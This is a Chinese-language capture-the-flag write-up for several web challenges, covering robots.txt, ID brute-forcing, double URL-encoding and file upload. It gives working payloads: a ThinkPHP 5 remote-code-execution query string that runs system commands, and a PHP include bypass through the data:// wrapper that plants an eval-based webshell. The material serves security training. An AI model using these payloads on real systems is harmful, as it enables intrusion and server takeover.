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进入靶场后只看见了 ThinkPHP V5，我们去github上找对应的漏洞

由于没有说具体版本，因此我们这里随机尝试一个版本的进行注入



结果如下

注入成功，因此我们修改函数后面一点即可实现查找，报出flag

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

获取flag



?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=tac ../../../flag

得到flag flag{thinkphp5_rce}

漏洞具体成因可以参考这篇文章https://www.cnblogs.com/backlion/p/10106676.html

Web_php_include
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

这种include的，一般可以借用伪协议来getshell，这里过滤了 php://，但是还有 data://，我们构造payload如下

?page=data://text/plain,<?php system("ls")?>

https://www.cnblogs.com/backlion/p/10106676.html


没有找到flag，不找了，传木马再进行蚁剑连接

?page=data://text/plain,<?php @eval($_POST[1])?>

用蚁剑来getshell



Training-WWW-Robots



进入靶场

看题猜测是考察robots的，此时我们查看 robots.txt

此时出现一个php文件，长得像flag，查看文件

有关robots的知识



robots协议也叫robots.txt（统一小写）是一种存放于网站根目录下的ASCII编码的文本文件。
robots.txt文件写法
User-agent: * 这里的代表的所有的搜索引擎种类，是一个通配符
Disallow: /admin/ 这里定义是禁止爬寻admin目录下面的目录
Disallow: /require/ 这里定义是禁止爬寻require目录下面的目录
Disallow: /ABC/ 这里定义是禁止爬寻ABC目录下面的目录
Disallow: /cgi-bin/.htm 禁止访问/cgi-bin/目录下的所有以".htm"为后缀的URL(包含子目录)。
Disallow: /?* 禁止访问网站中所有包含问号 (?) 的网址
Disallow: /.jpg$ 禁止抓取网页所有的.jpg格式的图片
Disallow:/ab/adc.html 禁止爬取ab文件夹下面的adc.html文件。
Allow: /cgi-bin/　这里定义是允许爬寻cgi-bin目录下面的目录
Allow: /tmp 这里定义是允许爬寻tmp的整个目录
Allow: .htm$ 仅允许访问以".htm"为后缀的URL。
Allow: .gif$ 允许抓取网页和gif格式图片
Sitemap: 网站地图 告诉爬虫这个页面是网站地图

ics-06



提示说只有一处有痕迹，我们查看源代码发现index.php

访问

上面的id是1，那此时就可以考虑一下进行爆破，用bp抓包



选择 numbers，从1到3000，每一步走的距离为1，也就是说id从1变到3000



发现flag

PHP2

进入靶场的话只说我们是否能登录界面，没有其他信息，这里拿御剑扫一下(index.phps是自己添加到御剑字典里的)



访问index.phps后得到源码

<?php
if("admin"===$_GET[id]) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
  echo "<p>Access granted!</p>";
  echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?



这里的话我们对admin进行二次url编码即可(服务器解码一次，代码再解码一次)
我们这里用bp来进行二次编码

得到flag

upload1



上传个图片，然后抓包修改文件名和文件内容即可
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